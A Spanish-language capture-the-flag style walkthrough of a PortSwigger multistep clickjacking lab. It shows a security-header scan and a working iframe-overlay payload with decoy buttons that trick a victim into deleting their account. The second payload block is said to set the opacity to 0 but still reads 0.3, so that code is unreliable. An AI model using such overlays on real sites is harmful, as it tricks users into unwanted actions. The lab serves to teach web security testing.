Multistep clickjacking
Laboratorio de Portswigger sobre Clickjacking
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio tiene una funcionalidad de cuenta protegida por un token CSRF y un diálogo de confirmación para defenderse contra el Clickjacking. Para resolver este laboratorio, debemos realizar un ataque de Clickjacking que engañe al usuario para que haga click en el botón de eliminación de cuenta y en el diálogo de confirmación, utilizando las acciones señuelo "Click me first" y "Click me next". Necesitaremos usar dos elementos para este laboratorio. Podemos iniciar sesión en la cuenta utilizando las credenciales wiener:peter
Guía de clickjacking
Antes de completar este laboratorio es recomendable leerse esta guía de clickjacking https://justice-reaper.github.io/posts/Clickjacking-Guide/
Resolución
Al acceder a la web vemos esto
Hacemos click sobre My account y nos logueamos con las credenciales wiener:peter
Vemos que podemos cambiar nuestro email y que podemos eliminar la cuenta
Si pulsamos sobre Delete account nos pide una confirmación para eliminar nuestra cuenta
Si pulsamos sobre View post vemos que hay una sección de comentarios
Para ver si una web es vulnerable a Clickjacking podemos usar la herramienta shcheck https://github.com/santoru/shcheck.git para identificar las cabeceras de seguridad
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# shcheck.py -i -x -k https://0adf00d004447ab3839b46d000cc000b.web-security-academy.net/
======================================================
> shcheck.py - santoru ..............................
------------------------------------------------------
Simple tool to check security headers on a webserver
======================================================
[*] Analyzing headers of https://0adf00d004447ab3839b46d000cc000b.web-security-academy.net/
[!] URL Returned an HTTP error: 404
[*] Effective URL: https://0adf00d004447ab3839b46d000cc000b.web-security-academy.net/
[!] Missing security header: X-XSS-Protection
[!] Missing security header: X-Frame-Options
[!] Missing security header: X-Content-Type-Options
[!] Missing security header: Strict-Transport-Security
[!] Missing security header: Content-Security-Policy
[!] Missing security header: X-Permitted-Cross-Domain-Policies
[!] Missing security header: Referrer-Policy
[!] Missing security header: Expect-CT
[!] Missing security header: Permissions-Policy
[!] Missing security header: Cross-Origin-Embedder-Policy
[!] Missing security header: Cross-Origin-Resource-Policy
[!] Missing security header: Cross-Origin-Opener-Policy
[*] No information disclosure headers detected
[*] No caching headers detected
-------------------------------------------------------
[!] Headers analyzed for https://0adf00d004447ab3839b46d000cc000b.web-security-academy.net/
[+] There are 0 security headers
[-] There are not 12 security headers
Si preferimos usar una herramienta web podemos usar securityheaders https://securityheaders.com/
En este caso, vemos que la web no tiene ni Content-Security-Policy (CSP) ni X-Frame-Options, lo cual la hace vulnerable a Clickjacking
Hay veces en las que el atacante necesita que el usuario víctima realice múltiples clicks. Por ejemplo, un atacante podría querer engañar a un usuario para que compre algo en un sitio web de ventas, por lo que los artículos deben añadirse a un carrito de compras antes de realizar el pedido y posteriormente se necesitaría otro click para procesar el pago
Estas acciones pueden ser implementadas por el atacante utilizando múltiples iframes. Estos ataques requieren una precisión considerable y cuidado desde la perspectiva del atacante si se quiere que sean efectivos y sigilosos
Nos dirigimos al Exploit server y nos creamos este payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<style>
iframe {
position:relative;
width:400;
height: 550;
opacity: 0.3;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:495;
left:150;
z-index: 1;
}
.secondClick {
top:315;
left:155;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://0a77006f03f4bcd5893ea08800a90071.web-security-academy.net/my-account"></iframe>
Pulsamos sobre View exploit para comprobar que está bien centrado el texto
Una vez que hemos comprobado que está bien centrado, le cambiamos la opacidad a 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<style>
iframe {
position:relative;
width:400;
height: 550;
opacity: 0.3;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:495;
left:150;
z-index: 1;
}
.secondClick {
top:315;
left:155;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://0a77006f03f4bcd5893ea08800a90071.web-security-academy.net/my-account"></iframe>
Si pulsamos sobre View exploit así es como se vería
Otra forma alternativa sería usando la herramienta Clickbandit de Burpsuite, para usarla nos dirigimos a Burpsuite y pulsamos Burp > Burp Clickbandit
Pulsamos sobre Copy Clickbandit to clipboard
Nos dirigimos a Chrome, accedemos a My account, nos logueamos, abrimos la consola de desarrollador y pegamos ahí todo el código
Una vez hecho esto nos saldrá este menú
Pulsamos en Start y posteriormente hacemos click sobre Delete account
El siguiente paso es marcar la casilla Disable click actions y pulsar sobre Yes
Una vez hecho esto, pulsamos sobre Finish y se nos mostrará como es nuestro payload actualmente. Para ver la segunda parte necesitamos hacer click en Delete account
Usando los símbolos - y +, podemos subir o bajar el aumento, y con Toogle transparency podemos activar o desactivar la transparencia. En mi caso, lo voy a dejar de esta forma. Cuando ya lo tengamos como queremos, pulsamos en Save y se nos descargará un documento HTML
Pegamos el código en el Exploit server
Pulsamos sobre View exploit para ver si se ve correctamente. Una vez que hemos comprobado que funcionan ambos payloads, nos dirigimos al Exploit server y pulsamos sobre Deliver exploit to victim

























